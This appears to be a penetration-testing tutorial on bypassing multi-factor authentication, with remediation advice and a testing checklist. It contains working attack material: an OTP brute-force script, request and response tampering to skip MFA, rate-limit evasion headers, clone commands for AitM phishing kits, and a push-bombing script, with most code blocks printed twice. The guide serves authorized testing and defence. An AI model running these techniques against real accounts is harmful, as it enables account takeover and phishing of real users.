Exploitation A07

MFA Bypass Techniques

Multi-Factor Authentication (MFA) is a critical security control, but implementation flaws can allow attackers to bypass it entirely. This guide covers common MFA bypass techniques including direct bypass, brute force, social engineering vectors, and implementation-specific weaknesses.

Warning

MFA testing may trigger account lockouts and alert security teams. Coordinate with the client and use designated test accounts.

Direct Flow Bypass

The most common MFA flaw — the application doesn't enforce the MFA step server-side. After entering valid credentials, the user can skip the MFA challenge by navigating directly to the authenticated page.

mfa-direct-bypass.http
http
# Step 1: Login with valid credentials
POST /login
username=user&password=pass123
# Response: 302 Redirect to /mfa-challenge

# Step 2: Instead of completing MFA, browse directly to:
GET /dashboard
GET /api/user/profile
# Step 1: Login with valid credentials
POST /login
username=user&password=pass123
# Response: 302 Redirect to /mfa-challenge

# Step 2: Instead of completing MFA, browse directly to:
GET /dashboard
GET /api/user/profile

If the application returns authenticated content, MFA is bypassable. Also try:

  • Change the response code from 302 to 200 in Burp
  • Remove the Location header pointing to /mfa-challenge
  • Access /dashboard in a new tab while MFA page is loading
  • Use the session cookie from step 1 directly

Tip

Burp Suite Technique: After logging in, intercept the redirect to the MFA page. Drop the redirect, then manually navigate to authenticated endpoints. Check if the session token from step 1 already has full authenticated access.

OTP Brute Force

6-digit TOTP codes have 1,000,000 possible values. If there's no rate limiting or lockout:

python
# Brute force 6-digit OTP with no rate limiting
# Using Burp Intruder or custom script:

import requests
import sys

session = requests.Session()

# Login first to get authenticated session
session.post('https://target.com/login', data={
    'username': 'testuser',
    'password': 'testpass'
})

# Brute force the MFA code
for code in range(0, 1000000):
    otp = f'{code:06d}'
    resp = session.post('https://target.com/mfa/verify', data={
        'otp': otp
    })
    
    if 'dashboard' in resp.url or resp.status_code == 200:
        print(f'[+] Valid OTP found: {otp}')
        sys.exit(0)
    
    if code % 1000 == 0:
        print(f'[-] Tried {code}/999999...')

# TOTP window attack: Standard TOTP allows ±30 second window
# Some implementations allow wider windows (±90 seconds)
# reducing effective keyspace significantly
# Brute force 6-digit OTP with no rate limiting
# Using Burp Intruder or custom script:

import requests
import sys

session = requests.Session()

# Login first to get authenticated session
session.post('https://target.com/login', data={
    'username': 'testuser',
    'password': 'testpass'
})

# Brute force the MFA code
for code in range(0, 1000000):
    otp = f'{code:06d}'
    resp = session.post('https://target.com/mfa/verify', data={
        'otp': otp
    })
    
    if 'dashboard' in resp.url or resp.status_code == 200:
        print(f'[+] Valid OTP found: {otp}')
        sys.exit(0)
    
    if code % 1000 == 0:
        print(f'[-] Tried {code}/999999...')

# TOTP window attack: Standard TOTP allows ±30 second window
# Some implementations allow wider windows (±90 seconds)
# reducing effective keyspace significantly

Rate Limit Bypass for OTP

If OTP rate limiting exists, try these bypass techniques:

otp-rate-limit-bypass.http
http
# 1. IP rotation via headers
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 10.0.0.2

# 2. Parameter pollution
POST /mfa/verify
otp=123456&user_id=1234
otp=654321&user_id=1234&extra_param=1

# 3. JSON vs form encoding (may hit different rate limiters)
Content-Type: application/json
{"otp": "123456"}

Content-Type: application/x-www-form-urlencoded
otp=123456

# 4. Case sensitivity / parameter pollution
otp=123456&OTP=654321
# 1. IP rotation via headers
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 10.0.0.2

# 2. Parameter pollution
POST /mfa/verify
otp=123456&user_id=1234
otp=654321&user_id=1234&extra_param=1

# 3. JSON vs form encoding (may hit different rate limiters)
Content-Type: application/json
{"otp": "123456"}

Content-Type: application/x-www-form-urlencoded
otp=123456

# 4. Case sensitivity / parameter pollution
otp=123456&OTP=654321

Response Manipulation

Some applications validate MFA client-side by checking the verification API response, without enforcing it server-side. Intercept and modify the response in Burp to test this.

mfa-response-manipulation.http
http
# Original failed response:
HTTP/1.1 200 OK
{"success": false, "message": "Invalid OTP"}

# Modified response:
HTTP/1.1 200 OK
{"success": true, "message": "Verified"}

# Or change status codes:
# Original:  HTTP/1.1 401 Unauthorized
# Modified:  HTTP/1.1 200 OK
# Original failed response:
HTTP/1.1 200 OK
{"success": false, "message": "Invalid OTP"}

# Modified response:
HTTP/1.1 200 OK
{"success": true, "message": "Verified"}

# Or change status codes:
# Original:  HTTP/1.1 401 Unauthorized
# Modified:  HTTP/1.1 200 OK

Tip

Use Burp's "Match and Replace" rules to automatically swap "success": false to "success": true in all MFA verification responses for systematic testing.

Token Reuse & Sharing

OTP codes should be single-use and bound to a specific user session. Test for these violations:

Code Reuse

Use a valid OTP, log out, log back in, resubmit the same code. If accepted → codes are not invalidated after use.

Cross-Account Usage

Request OTP for Account A, use it on Account B's MFA challenge. If accepted → tokens not bound to user session.

Token Leakage in URLs

Check for tokens in URL parameters (e.g., /mfa?token=123456&user=admin) — these appear in browser history, server logs, and Referer headers.

Backup Code Attacks

Backup codes are one-time recovery codes issued when MFA is first enabled. Several implementation flaws can make them exploitable:

Predictable Codes

Are they sequential, low entropy, or follow common patterns (e.g., 12345678, 00000001)?

Unlimited Generation

Can you regenerate backup codes without limit? This invalidates old codes — potential DoS against the legitimate user.

Brute Force Surface

8-character alphanumeric codes are hard to brute force, but 8-digit numeric codes (108) may be feasible.

Code Reuse & API Exposure

Are codes invalidated after use? Check GET /api/user/security-settings — backup codes sometimes appear in API responses.

Real-Time Phishing (AitM)

Adversary-in-the-Middle phishing tools create a transparent proxy between the victim and legitimate site, capturing MFA tokens in real-time:

bash
# Tools for AitM MFA phishing (authorized assessments only):

# Evilginx2 - Advanced AitM phishing framework
# Captures session cookies after MFA is completed
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make

# Modlishka - Reverse proxy phishing
git clone https://github.com/drk1wi/Modlishka

# EvilnoVNC - Browser-in-the-middle via VNC
git clone https://github.com/JoelGMSec/EvilnoVNC

# How it works:
# 1. Victim visits attacker's phishing page
# 2. Phishing page proxies all traffic to real site
# 3. Victim completes full login including MFA
# 4. Attacker captures the authenticated session cookie
# 5. Attacker uses the cookie to access the account

# Even TOTP and push-based MFA are defeated by AitM
# Only FIDO2/WebAuthn hardware keys resist AitM
# Tools for AitM MFA phishing (authorized assessments only):

# Evilginx2 - Advanced AitM phishing framework
# Captures session cookies after MFA is completed
git clone https://github.com/kgretzky/evilginx2
cd evilginx2 && make

# Modlishka - Reverse proxy phishing
git clone https://github.com/drk1wi/Modlishka

# EvilnoVNC - Browser-in-the-middle via VNC
git clone https://github.com/JoelGMSec/EvilnoVNC

# How it works:
# 1. Victim visits attacker's phishing page
# 2. Phishing page proxies all traffic to real site
# 3. Victim completes full login including MFA
# 4. Attacker captures the authenticated session cookie
# 5. Attacker uses the cookie to access the account

# Even TOTP and push-based MFA are defeated by AitM
# Only FIDO2/WebAuthn hardware keys resist AitM

Danger

AitM phishing tools are powerful and should only be used in authorized phishing simulations. Document authorization explicitly before deploying these tools.

Push Notification Fatigue (MFA Bombing)

python
# MFA prompt bombing / push fatigue attack:
# Repeatedly trigger MFA push notifications until the user approves

# 1. Obtain valid credentials (phishing, credential stuffing, breach data)
# 2. Script repeated login attempts to trigger push notifications:

import requests
import time

for i in range(50):
    requests.post('https://target.com/login', data={
        'username': 'victim@company.com',
        'password': 'known_password'
    })
    time.sleep(5)  # Wait between attempts
    print(f'Push #{i+1} sent')

# 3. User eventually approves out of frustration
# 4. Attacker gains authenticated access

# Notable: Uber 2022 breach used MFA fatigue attack
# The attacker sent repeated Duo push notifications
# until the employee approved one
# MFA prompt bombing / push fatigue attack:
# Repeatedly trigger MFA push notifications until the user approves

# 1. Obtain valid credentials (phishing, credential stuffing, breach data)
# 2. Script repeated login attempts to trigger push notifications:

import requests
import time

for i in range(50):
    requests.post('https://target.com/login', data={
        'username': 'victim@company.com',
        'password': 'known_password'
    })
    time.sleep(5)  # Wait between attempts
    print(f'Push #{i+1} sent')

# 3. User eventually approves out of frustration
# 4. Attacker gains authenticated access

# Notable: Uber 2022 breach used MFA fatigue attack
# The attacker sent repeated Duo push notifications
# until the employee approved one

Testing Methodology

MFA Testing Checklist

  1. 1. Can you skip the MFA page and access authenticated resources directly?
  2. 2. Is there rate limiting on OTP submission? Can it be bypassed?
  3. 3. Can you manipulate the verification response (change false → true)?
  4. 4. Can OTP codes be reused? Are they time-bound?
  5. 5. Are OTP codes bound to the user session?
  6. 6. Can backup codes be brute-forced or predicted?
  7. 7. Is MFA required on all sensitive endpoints (password change, email change)?
  8. 8. Can MFA be disabled without re-authentication?
  9. 9. Does the "Remember this device" feature properly expire?
  10. 10. Are there alternative authentication paths that skip MFA (API keys, OAuth tokens)?

Evidence Collection

Step Skip Proof: Burp request showing direct access to authenticated resource without completing MFA step

Response Manipulation: Original and modified responses showing how changing verify=false to verify=true grants access

OTP Brute Force: Intruder results showing no rate limiting after N failed OTP attempts

Session Screenshots: Authenticated dashboard/profile page accessed after bypass

CVSS Range: Complete MFA bypass: 8.1–9.1 (High-Critical) | OTP brute force: 7.5–8.1 | Push fatigue: 6.5–7.5

Remediation Guidance

  • Server-side enforcement: MFA verification must be checked server-side before granting session tokens. Never rely on client-side redirects.
  • Rate limit OTP attempts: Lock accounts after 3-5 failed OTP attempts. Implement exponential backoff.
  • Bind tokens to sessions: OTP codes must be cryptographically bound to the user's session and cannot be transferred.
  • Invalidate after use: Each OTP and backup code should be single-use.
  • Prefer FIDO2/WebAuthn: Hardware security keys resist phishing and AitM attacks. Push and TOTP do not.
  • Number matching: For push MFA, require the user to enter a number shown on the login screen to prevent fatigue attacks.

False Positive Identification

  • Account lockout ≠ rate limiting: The account may lock after N attempts — this is a different defense than rate limiting. Verify both mechanisms independently.
  • "Remember device" ≠ MFA bypass: Trusted device tokens that skip MFA on subsequent logins are a design choice, not a vulnerability — unless they never expire or are transferable.
  • Step skip may hit auth middleware: Getting a 302 redirect after directly accessing a post-MFA page may still enforce MFA server-side. Verify the redirect destination and final state.
  • API keys skipping MFA: Some APIs intentionally allow key-based auth without MFA — check if this is documented and scoped appropriately before reporting.